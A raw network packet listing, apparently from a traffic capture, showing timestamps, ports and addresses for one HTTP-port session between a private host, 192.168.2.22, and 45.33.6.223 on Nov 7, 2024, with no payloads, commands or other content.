Nov 7, 2024 10:50:14.653685093 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.687911034 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.687958002 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.687972069 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.688018084 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.688036919 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.735768080 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.735793114 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.735805035 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.735836029 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.735892057 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.735894918 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.735908031 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.735925913 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736007929 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736018896 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736032009 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736042976 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736044884 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736057997 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736062050 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736072063 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736074924 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736104012 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736119986 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736167908 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736180067 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736192942 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736205101 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736207962 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736217022 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736233950 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736248016 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736278057 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736314058 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736326933 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736341000 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736361027 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736373901 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736386061 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736397982 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.736418009 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.736430883 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.738599062 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.776833057 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.776871920 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.776885033 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.776915073 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.776947021 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.811409950 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.811423063 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.811434031 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.811501980 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859198093 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859247923 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859247923 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859258890 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859270096 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859283924 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859301090 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859357119 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859392881 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859402895 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859415054 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859436035 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859460115 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859479904 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859497070 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859513044 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859527111 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859599113 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859608889 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859622002 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859631062 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859644890 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859658003 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859708071 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859719038 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859730959 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859747887 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859761000 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859942913 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859955072 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859966993 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.859980106 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.859992027 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.860001087 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.860050917 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.860088110 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.860340118 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.860374928 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.861931086 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.900288105 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.900302887 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.900315046 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.900388956 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.934748888 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.934792995 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.934806108 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.934845924 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.934876919 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.982891083 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.982917070 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.982963085 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.982975960 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.982988119 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.982989073 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.982989073 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983000994 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983007908 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983016968 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983017921 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983031988 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983033895 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983057022 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983067036 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983108044 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983119965 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983130932 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983148098 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983149052 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983160019 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983167887 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983175993 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983212948 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983258009 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983270884 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983297110 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983323097 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983334064 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983345985 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983349085 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983349085 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983367920 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983386040 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983438969 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983565092 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983577013 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983587027 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.983604908 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.983620882 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.023736954 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.023756027 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.023767948 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.023854971 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.058259010 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.058280945 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.058286905 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.058465004 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106240988 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106256008 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106272936 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106287956 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106301069 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106317043 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106317997 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106337070 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106363058 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106391907 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106411934 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106425047 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106430054 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106443882 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106458902 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106545925 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106558084 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106569052 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106580973 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106586933 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106601000 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106616020 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106657028 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106739998 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106767893 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106779099 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106782913 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106796026 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106806993 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106811047 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106839895 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.106983900 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.106997013 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.107014894 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.107029915 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.107040882 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.107053995 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.107058048 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.107069969 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.107072115 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.107088089 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.107100964 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.147260904 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.147273064 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.147284031 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.147294044 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.147384882 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.181673050 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.181685925 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.181698084 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.181782007 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.229724884 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229744911 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229760885 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229773998 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229787111 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229804039 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229842901 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229842901 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.229842901 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.229854107 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229866982 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229876995 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.229888916 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.229888916 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.229912996 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.229916096 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229929924 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229939938 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.229957104 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.229967117 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230113983 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230124950 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230137110 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230149031 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230154991 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230166912 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230186939 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230194092 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230206013 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230266094 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230343103 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230400085 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230410099 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230436087 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230457067 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230469942 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230485916 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230501890 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230511904 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230520964 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230524063 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.230532885 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230541945 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230559111 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.230792999 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.270695925 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.270720959 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.270731926 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.270802021 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.305022955 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.305053949 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.305063963 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.305116892 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.305134058 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353188992 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353221893 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353235960 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353270054 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353281021 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353297949 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353310108 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353321075 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353343964 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353378057 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353389978 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353401899 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353418112 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353439093 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353439093 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353449106 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353468895 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353481054 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353494883 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353511095 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353527069 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353535891 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353660107 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353691101 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353702068 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353713036 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353730917 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353749037 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353769064 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353780985 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353791952 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353804111 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353832006 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353862047 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.353883028 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.353892088 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.354058027 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.354084015 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.354095936 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.354104042 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.354106903 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.354126930 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.354135990 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.406582117 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.406610966 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.406622887 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.406694889 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.428498030 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.428531885 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.428544998 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.428580999 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.428925991 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.476697922 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476713896 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476732969 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476743937 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476753950 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476768017 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476773024 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476784945 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476813078 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476815939 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.476881027 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.476922989 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476983070 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476994991 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.476999044 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477006912 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477041006 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477087021 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477144003 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477155924 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477168083 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477185965 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477202892 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477206945 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477219105 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477231026 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477237940 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477247000 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477264881 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477300882 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477355003 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477472067 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477514982 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477525949 CET	80	49162	45.33.6.223	192.168.2.22
